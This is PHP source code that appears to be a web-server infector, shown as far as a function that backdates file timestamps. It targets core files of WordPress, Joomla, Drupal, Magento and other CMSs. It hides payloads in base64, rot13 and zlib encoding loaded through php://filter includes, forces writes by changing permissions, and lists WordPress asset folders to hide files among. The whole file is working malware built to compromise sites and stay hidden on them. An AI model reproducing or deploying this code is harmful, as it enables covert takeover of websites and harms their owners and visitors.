<?php
@set_time_limit(0);
$DEBUG           = isset($_GET['debug'])  ? (bool)$_GET['debug']  : false;
$MODE            = 'add';                  
$SITE_ROOT       = '';                     
$PAYLOAD_FILE    = '';                     
$INFO_FILE       = 'information.txt';      
$FOLDER_COUNT    = 10;                      
$RESOURCE_FOLDERS = 30;                    
$RAND_PHP_FILE   = 10;                      
$RECOVER_INDEX   = true;                    
$RECOVER_PHP_FILE = 5;                      
$LOG_FILE        = 'any_infector_debug.log';
$RES_INFO        = true;                   
$RUN_METHOD      = true;                   
$MULTI_ANNOTATION = 'pthk';                 
$INFO_KEY        = '@1jth_|Q_C>I4hcr';      

$TARGET_FILES = array(
    array('type' => 'fixed', 'path' => 'index.php'),
    array('type' => 'fixed', 'path' => 'wp-blog-header.php'),
    array('type' => 'fixed', 'path' => 'wp-load.php'),
    array('type' => 'fixed', 'path' => 'wp-config.php'),
    array('type' => 'rand',  'path' => 'wp-settings.php'),
    array('type' => 'rand',  'path' => 'wp-includes/version.php'),
    array('type' => 'rand',  'path' => 'wp-includes/compat.php'),
    array('type' => 'rand',  'path' => 'wp-includes/load.php'),
    array('type' => 'rand',  'path' => 'wp-includes/class-wp-widget.php'),	
    array('type' => 'rand',  'path' => 'libraries/loader.php'),
    array('type' => 'rand',  'path' => 'libraries/src/Session/Session.php'),
    array('type' => 'rand',  'path' => 'includes/bootstrap.inc'),
    array('type' => 'rand',  'path' => 'vendor/composer/autoload_real.php'),
    array('type' => 'rand',  'path' => '../app/bootstrap.php'),
);

define('WP_INDEX_ORIGINAL', 'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK');

define('_ME_RUNNING_DIR', isset($GLOBALS['____SCRIPT_DIR'])
    ? str_replace('\\', '/', $GLOBALS['____SCRIPT_DIR'])
    : str_replace('\\', '/', dirname(__FILE__)));
define('_ME_RUNNING_FILE', isset($GLOBALS['____SCRIPT_FILE'])
    ? $GLOBALS['____SCRIPT_FILE']
    : __FILE__);
define('_ME_IS_WRAPPED', isset($GLOBALS['____SCRIPT_DIR']));

function CMS_SIGNATURES() {
    return array(

    'wp-config.php', 'wp-blog-header.php', 'wp-load.php', 'wp-settings.php',

    'configuration.php', 'includes/app.php', 'libraries/loader.php',

    'sites/default/settings.php', 'core/lib/Drupal.php', 'autoload.php',

    'app/etc/env.php', 'app/etc/config.php', 'bin/magento',

    'app/Mage.php', 'app/etc/local.xml',

    'artisan', 'bootstrap/app.php', 'vendor/autoload.php',

    'symfony.lock', 'config/bundles.php',

    'yii', 'web/index.php', 'protected/config/main.php',

    'system/index.php',

    'config.php', 'system/startup.php',

    'config/settings.inc.php',

    'composer.json', 'vendor/autoload.php',
);
}

function CMS_SIGNATURE_MAP() {
    return array(
        'wp-config.php'            => 'wordpress',
        'wp-blog-header.php'       => 'wordpress',
        'wp-load.php'              => 'wordpress',
        'wp-settings.php'          => 'wordpress',
        'configuration.php'        => 'joomla',
        'includes/app.php'         => 'joomla',
        'libraries/loader.php'     => 'joomla',
        'sites/default/settings.php' => 'drupal',
        'core/lib/Drupal.php'      => 'drupal',
        'autoload.php'             => 'generic',
        'app/etc/env.php'          => 'magento2',
        'app/etc/config.php'       => 'magento2',
        'bin/magento'              => 'magento2',
        'app/Mage.php'             => 'magento1',
        'app/etc/local.xml'        => 'magento1',
        'artisan'                  => 'laravel',
        'bootstrap/app.php'        => 'laravel',
        'vendor/autoload.php'      => 'generic',
        'symfony.lock'             => 'symfony',
        'config/bundles.php'       => 'symfony',
        'yii'                      => 'yii',
        'web/index.php'            => 'yii',
        'protected/config/main.php' => 'yii1',
        'system/index.php'         => 'codeigniter',
        'config.php'               => 'generic',
        'system/startup.php'       => 'opencart',
        'config/settings.inc.php'  => 'prestashop',
        'composer.json'            => 'generic',
    );
}

function cms_name_for_signature($sig) {

    $map = CMS_SIGNATURE_MAP();
    return isset($map[$sig]) ? $map[$sig] : '';
}

function CMS_SYSTEM_DIRS() {
    return array(

    'wordpress' => array('wp-includes', 'wp-content/plugins', 'wp-content/mu-plugins', 'wp-content/themes'),

    'joomla' => array('libraries', 'includes', 'plugins', 'administrator/components', 'components', 'modules', 'templates'),

    'drupal' => array('includes', 'core/includes', 'core/lib', 'modules', 'themes'),

    'magento2' => array('app', 'lib/internal', 'app/design'),

    'magento1' => array('app', 'lib', 'app/design'),

    'laravel' => array('app', 'bootstrap', 'routes'),

    'symfony' => array('src'),

    'yii2' => array('controllers', 'models', 'components', 'modules', 'themes'),

    'yii1' => array('protected', 'themes'),

    'opencart' => array('system', 'catalog/controller', 'catalog/view/theme'),

    'prestashop' => array('classes', 'controllers', 'modules', 'themes'),

    'codeigniter' => array('system', 'application'),

    'discuz' => array('source', 'uc_client', 'uc_server', 'source/plugin', 'template'),

    'thinkphp' => array('thinkphp', 'application', 'app'),
);
}

function PHP_FILE_EXTS() {
    return array('php', 'inc', 'php5', 'php7', 'phtml', 'module', 'install', 'profile', 'engine');
}

function SKIP_DIRS() {
    return array(
    '.', '..', '.git', '.svn', '.hg',
    'node_modules', 'vendor', 'bower_components',
    'cache', 'tmp', 'temp', 'logs', 'log',
    'session', 'sessions',
);
}

function RESOURCE_KEYWORDS() {
    return array(
    'media', 'css', 'js', 'img', 'images', 'image',
    'fonts', 'font', 'uploads', 'upload',
    'assets', 'asset', 'static', 'public',
    'themes', 'theme', 'templates', 'template',
    'dist', 'build', 'lib', 'libraries',
    'icons', 'icon', 'sounds', 'sound',
    'videos', 'video', 'docs', 'doc',
    'files', 'file', 'data', 'resources',
);
}

function RESOURCE_EXTS() {
    return array(
    '.css', '.js', '.png', '.gif', '.svg', '.jpg', '.jpeg', '.webp',
    '.woff', '.woff2', '.ttf', '.eot', '.scss', '.min.css', '.min.js',
    '.php', '.txt', '.ico', '.xml', '.json', '.map', '.md',
    '.html', '.htm', '.less', '.sass', '.csv', '.pdf',
);
}

function COMMON_FOLDERS() {
    return array(
    "wp-admin/css" => "about-rtl.css,about-rtl.min.css,about.css,about.min.css,admin-menu-rtl.css,admin-menu-rtl.min.css,admin-menu.css,admin-menu.min.css,code-editor-rtl.css,code-editor-rtl.min.css,code-editor.css,code-editor.min.css,color-picker-rtl.css,color-picker-rtl.min.css,color-picker.css,color-picker.min.css,common-rtl.css,common-rtl.min.css,common.css,common.min.css,customize-controls-rtl.css,customize-controls-rtl.min.css,customize-controls.css,customize-controls.min.css,customize-nav-menus-rtl.css,customize-nav-menus-rtl.min.css,customize-nav-menus.css,customize-nav-menus.min.css,customize-widgets-rtl.css,customize-widgets-rtl.min.css,customize-widgets.css,customize-widgets.min.css,dashboard-rtl.css,dashboard-rtl.min.css,dashboard.css,dashboard.min.css,deprecated-media-rtl.css,deprecated-media-rtl.min.css,deprecated-media.css,deprecated-media.min.css,edit-rtl.css,edit-rtl.min.css,edit.css,edit.min.css,farbtastic-rtl.css,farbtastic-rtl.min.css,farbtastic.css,farbtastic.min.css,forms-rtl.css,forms-rtl.min.css,forms.css,forms.min.css,install-rtl.css,install-rtl.min.css,install.css,install.min.css,l10n-rtl.css,l10n-rtl.min.css,l10n.css,l10n.min.css,list-tables-rtl.css,list-tables-rtl.min.css,list-tables.css,list-tables.min.css,login-rtl.css,login-rtl.min.css,login.css,login.min.css,media-rtl.css,media-rtl.min.css,media.css,media.min.css,nav-menus-rtl.css,nav-menus-rtl.min.css,nav-menus.css,nav-menus.min.css,revisions-rtl.css,revisions-rtl.min.css,revisions.css,revisions.min.css,site-health-rtl.css,site-health-rtl.min.css,site-health.css,site-health.min.css,site-icon-rtl.css,site-icon-rtl.min.css,site-icon.css,site-icon.min.css,themes-rtl.css,themes-rtl.min.css,themes.css,themes.min.css,view-transitions.css,view-transitions.min.css,widgets-rtl.css,widgets-rtl.min.css,widgets.css,widgets.min.css,wp-admin-rtl.css,wp-admin-rtl.min.css,wp-admin.css,wp-admin.min.css",
    "wp-admin/css/colors/blue" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
    "wp-admin/css/colors/coffee" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
    "wp-admin/css/colors/ectoplasm" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
    "wp-admin/css/colors/light" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
    "wp-admin/css/colors/midnight" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
    "wp-admin/css/colors/modern" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
    "wp-admin/css/colors/ocean" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
    "wp-admin/css/colors/sunrise" => "colors-rtl.css,colors-rtl.min.css,colors.css,colors.min.css,colors.scss",
    "wp-admin/images" => "about-texture.png,align-center-2x.png,align-center.png,align-left-2x.png,align-left.png,align-none-2x.png,align-none.png,align-right-2x.png,align-right.png,arrows-2x.png,arrows.png,browser-rtl.png,browser.png,bubble_bg-2x.gif,bubble_bg.gif,comment-grey-bubble-2x.png,comment-grey-bubble.png,date-button-2x.gif,date-button.gif,freedom-1.svg,freedom-2.svg,freedom-3.svg,freedom-4.svg,generic.png,icons32-2x.png,icons32-vs-2x.png,icons32-vs.png,icons32.png,imgedit-icons-2x.png,imgedit-icons.png,list-2x.png,list.png,loading.gif,marker.png,mask.png,media-button-2x.png,media-button-image.gif,media-button-music.gif,media-button-other.gif,media-button-video.gif,media-button.png,menu-2x.png,menu-vs-2x.png,menu-vs.png,menu.png,no.png,post-formats-vs.png,post-formats.png,post-formats32-vs.png,post-formats32.png,privacy.svg,resize-2x.gif,resize-rtl-2x.gif,resize-rtl.gif,resize.gif,se.png,sort-2x.gif,sort.gif,spinner-2x.gif,spinner.gif,stars-2x.png,stars.png,w-logo-blue.png,w-logo-white.png,wheel.png,wordpress-logo-white.svg,wordpress-logo.png,wordpress-logo.svg,wpspin_light-2x.gif,wpspin_light.gif,xit-2x.gif,xit.gif,yes.png",
    "wp-admin/js" => "accordion.js,accordion.min.js,application-passwords.js,application-passwords.min.js,auth-app.js,auth-app.min.js,code-editor.js,code-editor.min.js,color-picker.js,color-picker.min.js,comment.js,comment.min.js,common.js,common.min.js,custom-background.js,custom-background.min.js,custom-header.js,customize-controls.js,customize-controls.min.js,customize-nav-menus.js,customize-nav-menus.min.js,customize-widgets.js,customize-widgets.min.js,dashboard.js,dashboard.min.js,edit-comments.js,edit-comments.min.js,editor-expand.js,editor-expand.min.js,editor.js,editor.min.js,farbtastic.js,gallery.js,gallery.min.js,image-edit.js,image-edit.min.js,inline-edit-post.js,inline-edit-post.min.js,inline-edit-tax.js,inline-edit-tax.min.js,iris.min.js,language-chooser.js,language-chooser.min.js,link.js,link.min.js,media-gallery.js,media-gallery.min.js,media-upload.js,media-upload.min.js,media.js,media.min.js,nav-menu.js,nav-menu.min.js,password-strength-meter.js,password-strength-meter.min.js,plugin-install.js,plugin-install.min.js,post.js,post.min.js,postbox.js,postbox.min.js,privacy-tools.js,privacy-tools.min.js,revisions.js,revisions.min.js,set-post-thumbnail.js,set-post-thumbnail.min.js,site-health.js,site-health.min.js,svg-painter.js,svg-painter.min.js,tags-box.js,tags-box.min.js,tags-suggest.js,tags-suggest.min.js,tags.js,tags.min.js,theme-plugin-editor.js,theme-plugin-editor.min.js,theme.js,theme.min.js,updates.js,updates.min.js,user-profile.js,user-profile.min.js,user-suggest.js,user-suggest.min.js,widgets.js,widgets.min.js,word-count.js,word-count.min.js,xfn.js,xfn.min.js",
    "wp-admin/js/widgets" => "custom-html-widgets.js,custom-html-widgets.min.js,media-audio-widget.js,media-audio-widget.min.js,media-gallery-widget.js,media-gallery-widget.min.js,media-image-widget.js,media-image-widget.min.js,media-video-widget.js,media-video-widget.min.js,media-widgets.js,media-widgets.min.js,text-widgets.js,text-widgets.min.js",
    "wp-includes/css" => "admin-bar-rtl.css,admin-bar-rtl.min.css,admin-bar.css,admin-bar.min.css,buttons-rtl.css,buttons-rtl.min.css,buttons.css,buttons.min.css,classic-themes.css,classic-themes.min.css,customize-preview-rtl.css,customize-preview-rtl.min.css,customize-preview.css,customize-preview.min.css,dashicons.css,dashicons.min.css,editor-rtl.css,editor-rtl.min.css,editor.css,editor.min.css,jquery-ui-dialog-rtl.css,jquery-ui-dialog-rtl.min.css,jquery-ui-dialog.css,jquery-ui-dialog.min.css,media-views-rtl.css,media-views-rtl.min.css,media-views.css,media-views.min.css,wp-auth-check-rtl.css,wp-auth-check-rtl.min.css,wp-auth-check.css,wp-auth-check.min.css,wp-block-template-skip-link-rtl.css,wp-block-template-skip-link-rtl.min.css,wp-block-template-skip-link.css,wp-block-template-skip-link.min.css,wp-embed-template-ie.css,wp-embed-template-ie.min.css,wp-embed-template.css,wp-embed-template.min.css,wp-empty-template-alert.css,wp-empty-template-alert.min.css,wp-pointer-rtl.css,wp-pointer-rtl.min.css,wp-pointer.css,wp-pointer.min.css",
    "wp-includes/css/dist/block-directory" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/css/dist/block-editor" => "content-rtl.css,content-rtl.min.css,content.css,content.min.css,default-editor-styles-rtl.css,default-editor-styles-rtl.min.css,default-editor-styles.css,default-editor-styles.min.css,style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/css/dist/block-library" => "classic-rtl.css,classic-rtl.min.css,classic.css,classic.min.css,common-rtl.css,common-rtl.min.css,common.css,common.min.css,editor-elements-rtl.css,editor-elements-rtl.min.css,editor-elements.css,editor-elements.min.css,editor-rtl.css,editor-rtl.min.css,editor.css,editor.min.css,elements-rtl.css,elements-rtl.min.css,elements.css,elements.min.css,reset-rtl.css,reset-rtl.min.css,reset.css,reset.min.css,style-rtl.css,style-rtl.min.css,style.css,style.min.css,theme-rtl.css,theme-rtl.min.css,theme.css,theme.min.css",
    "wp-includes/css/dist/components" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/css/dist/customize-widgets" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/css/dist/edit-post" => "classic-rtl.css,classic-rtl.min.css,classic.css,classic.min.css,style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/css/dist/edit-site" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/css/dist/edit-widgets" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/css/dist/editor" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/css/dist/format-library" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/css/dist/list-reusable-blocks" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/css/dist/nux" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/css/dist/reusable-blocks" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/css/dist/widgets" => "style-rtl.css,style-rtl.min.css,style.css,style.min.css",
    "wp-includes/fonts" => "dashicons.eot,dashicons.svg,dashicons.ttf,dashicons.woff,dashicons.woff2",
    "wp-includes/images" => "admin-bar-sprite-2x.png,admin-bar-sprite.png,arrow-pointer-blue-2x.png,arrow-pointer-blue.png,blank.gif,down_arrow-2x.gif,down_arrow.gif,icon-pointer-flag-2x.png,icon-pointer-flag.png,rss-2x.png,rss.png,spinner-2x.gif,spinner.gif,toggle-arrow-2x.png,toggle-arrow.png,uploader-icons-2x.png,uploader-icons.png,w-logo-blue-white-bg.png,w-logo-blue.png,wpicons-2x.png,wpicons.png,wpspin-2x.gif,wpspin.gif,xit-2x.gif,xit.gif",
    "wp-includes/images/crystal" => "archive.png,audio.png,code.png,default.png,document.png,interactive.png,license.txt,spreadsheet.png,text.png,video.png",
    "wp-includes/images/media" => "archive.png,archive.svg,audio.png,audio.svg,code.png,code.svg,default.png,default.svg,document.png,document.svg,interactive.png,interactive.svg,spreadsheet.png,spreadsheet.svg,text.png,text.svg,video.png,video.svg",
    "wp-includes/images/smilies" => "frownie.png,icon_arrow.gif,icon_biggrin.gif,icon_confused.gif,icon_cool.gif,icon_cry.gif,icon_eek.gif,icon_evil.gif,icon_exclaim.gif,icon_idea.gif,icon_lol.gif,icon_mad.gif,icon_mrgreen.gif,icon_neutral.gif,icon_question.gif,icon_razz.gif,icon_redface.gif,icon_rolleyes.gif,icon_sad.gif,icon_smile.gif,icon_surprised.gif,icon_twisted.gif,icon_wink.gif,mrgreen.png,rolleyes.png,simple-smile.png",
    "wp-includes/js" => "admin-bar.js,admin-bar.min.js,api-request.js,api-request.min.js,autosave.js,autosave.min.js,backbone.js,backbone.min.js,clipboard.js,clipboard.min.js,colorpicker.js,colorpicker.min.js,comment-reply.js,comment-reply.min.js,customize-base.js,customize-base.min.js,customize-loader.js,customize-loader.min.js,customize-models.js,customize-models.min.js,customize-preview-nav-menus.js,customize-preview-nav-menus.min.js,customize-preview-widgets.js,customize-preview-widgets.min.js,customize-preview.js,customize-preview.min.js,customize-selective-refresh.js,customize-selective-refresh.min.js,customize-views.js,customize-views.min.js,heartbeat.js,heartbeat.min.js,hoverintent-js.min.js,hoverintent.js,hoverintent.min.js,imagesloaded.min.js,json2.js,json2.min.js,masonry.min.js,mce-view.js,mce-view.min.js,media-audiovideo.js,media-audiovideo.min.js,media-editor.js,media-editor.min.js,media-grid.js,media-grid.min.js,media-models.js,media-models.min.js,media-views.js,media-views.min.js,quicktags.js,quicktags.min.js,shortcode.js,shortcode.min.js,swfobject.js,swfobject.min.js,tw-sack.js,tw-sack.min.js,twemoji.js,twemoji.min.js,underscore.js,underscore.min.js,utils.js,utils.min.js,wp-ajax-response.js,wp-ajax-response.min.js,wp-api.js,wp-api.min.js,wp-auth-check.js,wp-auth-check.min.js,wp-backbone.js,wp-backbone.min.js,wp-custom-header.js,wp-custom-header.min.js,wp-embed-template.js,wp-embed-template.min.js,wp-embed.js,wp-embed.min.js,wp-emoji-loader.js,wp-emoji-loader.min.js,wp-emoji-release.min.js,wp-emoji.js,wp-emoji.min.js,wp-list-revisions.js,wp-list-revisions.min.js,wp-lists.js,wp-lists.min.js,wp-pointer.js,wp-pointer.min.js,wp-sanitize.js,wp-sanitize.min.js,wp-util.js,wp-util.min.js,wpdialog.js,wpdialog.min.js,wplink.js,wplink.min.js,zxcvbn-async.js,zxcvbn-async.min.js,zxcvbn.min.js",
    "wp-includes/js/codemirror" => "codemirror.min.css,codemirror.min.js,csslint.js,espree.min.js,esprima.js,fakejshint.js,htmlhint-kses.js,htmlhint.js,jsonlint.js",
    "wp-includes/js/crop" => "cropper.css,cropper.js,marqueehoriz.gif,marqueevert.gif",
    "wp-includes/js/dist" => "a11y.js,a11y.min.js,annotations.js,annotations.min.js,api-fetch.js,api-fetch.min.js,autop.js,autop.min.js,base-styles.js,base-styles.min.js,blob.js,blob.min.js,block-directory.js,block-directory.min.js,block-editor.js,block-editor.min.js,block-library.js,block-library.min.js,block-serialization-default-parser.js,block-serialization-default-parser.min.js,blocks.js,blocks.min.js,components.js,components.min.js,compose.js,compose.min.js,core-data.js,core-data.min.js,data-controls.js,data-controls.min.js,data.js,data.min.js,date.js,date.min.js,deprecated.js,deprecated.min.js,dom-ready.js,dom-ready.min.js,dom.js,dom.min.js,edit-post.js,edit-post.min.js,edit-site.js,edit-site.min.js,editor.js,editor.min.js,element.js,element.min.js,escape-html.js,escape-html.min.js,format-library.js,format-library.min.js,html-entities.js,html-entities.min.js,i18n.js,i18n.min.js,is-shallow-equal.js,is-shallow-equal.min.js,keyboard-shortcuts.js,keyboard-shortcuts.min.js,keycodes.js,keycodes.min.js,list-reusable-blocks.js,list-reusable-blocks.min.js,media-utils.js,media-utils.min.js,notices.js,notices.min.js,nux.js,nux.min.js,plugins.js,plugins.min.js,primitives.js,primitives.min.js,priority-queue.js,priority-queue.min.js,redux-routine.js,redux-routine.min.js,rich-text.js,rich-text.min.js,server-side-render.js,server-side-render.min.js,shortcode.js,shortcode.min.js,token-list.js,token-list.min.js,url.js,url.min.js,viewport.js,viewport.min.js,warning.js,warning.min.js,wordcount.js,wordcount.min.js",
    "wp-includes/js/jcrop" => "jcrop.gif,jquery.jcrop.min.css,jquery.jcrop.min.js",
    "wp-includes/js/jquery" => "jquery-migrate.js,jquery-migrate.min.js,jquery.color.min.js,jquery.form.js,jquery.form.min.js,jquery.hotkeys.js,jquery.hotkeys.min.js,jquery.js,jquery.masonry.min.js,jquery.min.js,jquery.query.js,jquery.schedule.js,jquery.serialize-object.js,jquery.table-hotkeys.js,jquery.table-hotkeys.min.js,jquery.ui.touch-punch.js,suggest.js,suggest.min.js",
    "wp-includes/js/jquery/ui" => "accordion.js,accordion.min.js,autocomplete.js,autocomplete.min.js,button.js,button.min.js,checkboxradio.js,checkboxradio.min.js,controlgroup.js,controlgroup.min.js,core.js,core.min.js,datepicker.js,datepicker.min.js,dialog.js,dialog.min.js,draggable.js,draggable.min.js,droppable.js,droppable.min.js,effect-blind.js,effect-blind.min.js,effect-bounce.js,effect-bounce.min.js,effect-clip.js,effect-clip.min.js,effect-drop.js,effect-drop.min.js,effect-explode.js,effect-explode.min.js,effect-fade.js,effect-fade.min.js,effect-fold.js,effect-fold.min.js,effect-highlight.js,effect-highlight.min.js,effect-puff.js,effect-puff.min.js,effect-pulsate.js,effect-pulsate.min.js,effect-scale.js,effect-scale.min.js,effect-shake.js,effect-shake.min.js,effect-size.js,effect-size.min.js,effect-slide.js,effect-slide.min.js,effect-transfer.js,effect-transfer.min.js,effect.js,effect.min.js,menu.js,menu.min.js,mouse.js,mouse.min.js,progressbar.js,progressbar.min.js,resizable.js,resizable.min.js,selectable.js,selectable.min.js,selectmenu.js,selectmenu.min.js,slider.js,slider.min.js,sortable.js,sortable.min.js,spinner.js,spinner.min.js,tabs.js,tabs.min.js,tooltip.js,tooltip.min.js",
    "wp-includes/js/mediaelement" => "mediaelement-and-player.js,mediaelement-and-player.min.js,mediaelement-migrate.js,mediaelement-migrate.min.js,mediaelement.js,mediaelement.min.js,mediaelementplayer-legacy.css,mediaelementplayer-legacy.min.css,mediaelementplayer.css,mediaelementplayer.min.css,mejs-controls.png,mejs-controls.svg,wp-mediaelement.css,wp-mediaelement.js,wp-mediaelement.min.css,wp-mediaelement.min.js,wp-playlist.js,wp-playlist.min.js",
    "wp-includes/js/plupload" => "handlers.js,handlers.min.js,license.txt,moxie.js,moxie.min.js,plupload.js,plupload.min.js,wp-plupload.js,wp-plupload.min.js",
    "wp-includes/js/thickbox" => "loadinganimation.gif,macffbghack.png,thickbox.css,thickbox.js",
    "wp-includes/js/tinymce/langs" => "wp-langs-en.js",
    "wp-includes/js/tinymce/plugins/charmap" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/colorpicker" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/directionality" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/fullscreen" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/hr" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/image" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/link" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/lists" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/media" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/paste" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/tabfocus" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/textcolor" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/wordpress" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/wpautoresize" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/wpdialogs" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/wpeditimage" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/wpemoji" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/wpgallery" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/wplink" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/wptextpattern" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/plugins/wpview" => "plugin.js,plugin.min.js",
    "wp-includes/js/tinymce/skins/lightgray/fonts" => "tinymce-small.eot,tinymce-small.svg,tinymce-small.ttf,tinymce-small.woff,tinymce.eot,tinymce.svg,tinymce.ttf,tinymce.woff",
    "wp-includes/js/tinymce/skins/lightgray/img" => "anchor.gif,loader.gif,object.gif,trans.gif",
    "wp-includes/js/tinymce/skins/wordpress/images" => "audio.png,dashicon-edit.png,dashicon-no.png,embedded.png,gallery-2x.png,gallery.png,more-2x.png,more.png,pagebreak-2x.png,pagebreak.png,playlist-audio.png,playlist-video.png,script.svg,style.svg,video.png",
    "wp-includes/js/tinymce/themes/inlite" => "theme.js,theme.min.js",
    "wp-includes/js/tinymce/themes/modern" => "theme.js,theme.min.js",
);
}

$_hasZlib = in_array('zlib.*', stream_get_filters());

function get_filter_chain() {

    global $_hasZlib;
    if ($_hasZlib) {
        return 'zlib.inflate|string.rot13|convert.base64-decode';
    }
    return 'string.rot13|convert.base64-decode';
}

function encode_payload_content($rawContent) {

    global $_hasZlib;

    $clean = preg_replace('/^<\?php\s*/i', '', trim($rawContent));
    $clean = preg_replace('/\?>\s*$/i', '', $clean);

    $guarded = '<?php if(!defined("_R4X7M2K9P1Q5")){define("_R4X7M2K9P1Q5",1);' . $clean . '}';

    $encoded = base64_encode($guarded);
    $encoded = str_rot13($encoded);
    if ($_hasZlib) {
        $encoded = gzdeflate($encoded);
    }
    _log('DEBUG', 'Payload encoded: ' . strlen($rawContent) . ' raw -> ' . strlen($encoded) . ' encoded (zlib=' . ($_hasZlib ? 'yes' : 'no') . ')');
    return $encoded;
}

function build_filter_include_path($relativePath) {

    $chain = get_filter_chain();
    return "php://filter/read=$chain/resource=$relativePath";
}

function write_encoded_payload($rawContent, $dstPath) {

    $encoded = encode_payload_content($rawContent);

    @chmod($dstPath, 0644);
    if (@file_put_contents($dstPath, $encoded) !== false) {
        _log('DEBUG', "Encoded write succeeded (m1 file_put_contents): $dstPath");
        return true;
    }

    $dst = @fopen($dstPath, 'wb');
    if ($dst) {
        fwrite($dst, $encoded);
        fclose($dst);
        if (is_file($dstPath)) {
            _log('DEBUG', "Encoded write succeeded (m2 stream): $dstPath");
            return true;
        }
    }

    $dir = dirname($dstPath);
    $temp = @tempnam($dir, 'tmp');   
    if ($temp !== false) {
        if (@file_put_contents($temp, $encoded) !== false) {
            @chmod($dstPath, 0644);
            if (@rename($temp, $dstPath)) {
                _log('DEBUG', "Encoded write succeeded (m3 tempnam+rename): $dstPath");
                return true;
            }
        }
        @unlink($temp);
    }

    $oldDirMode = @fileperms($dir);
    $chmodded = false;
    if ($oldDirMode !== false) {
        $chmodded = @chmod($dir, 0755);
    }
    @unlink($dstPath);
    $ok4 = @file_put_contents($dstPath, $encoded);
    if ($chmodded && $oldDirMode !== false) @chmod($dir, $oldDirMode);
    if ($ok4 !== false) {
        _log('DEBUG', "Encoded write succeeded (m4 dir-swap): $dstPath");
        return true;
    }

    _log('WARN', "All write methods failed for: $dstPath");
    return false;
}

$_logs = array();

function _log($level, $msg) {
    global $_logs, $DEBUG, $LOG_FILE;
    $line = date('Y-m-d H:i:s') . " [$level] $msg";
    $_logs[] = $line;
    if ($DEBUG) {
        if (php_sapi_name() === 'cli') {
            fwrite(STDERR, $line . "\n");
        }
        @file_put_contents($LOG_FILE, $line . "\n", FILE_APPEND);
    }
}

function crypto_rand_int($min, $max) {

    if (function_exists('random_int')) {
        return random_int($min, $max);
    }
    return mt_rand($min, $max);
}

function random_case_string($str) {

    $out = '';
    $hasUpper = false;
    $len = strlen($str);
    for ($i = 0; $i < $len; $i++) {
        $ch = $str[$i];
        if (ctype_alpha($ch)) {
            if (mt_rand(0, 1) === 1) { $out .= strtoupper($ch); $hasUpper = true; }
            else { $out .= $ch; }
        } else {
            $out .= $ch;
        }
    }
    if (!$hasUpper) {
        $alphas = array();
        for ($i = 0; $i < $len; $i++) if (ctype_alpha($str[$i])) $alphas[] = $i;
        if (!empty($alphas)) {
            $p = $alphas[mt_rand(0, count($alphas) - 1)];
            $out[$p] = strtoupper($out[$p]);
        }
    }
    return $out;
}

function blend_file_mtime($filePath) {

    $dir = dirname($filePath);
    $ext = '.' . pathinfo($filePath, PATHINFO_EXTENSION);
    $extLen = strlen($ext);

    $siblings = @scandir($dir);
    if (!$siblings || count($siblings) <= 2) {

        $target = time() - (2 * 365 * 86400) - rand(0, 365 * 86400);
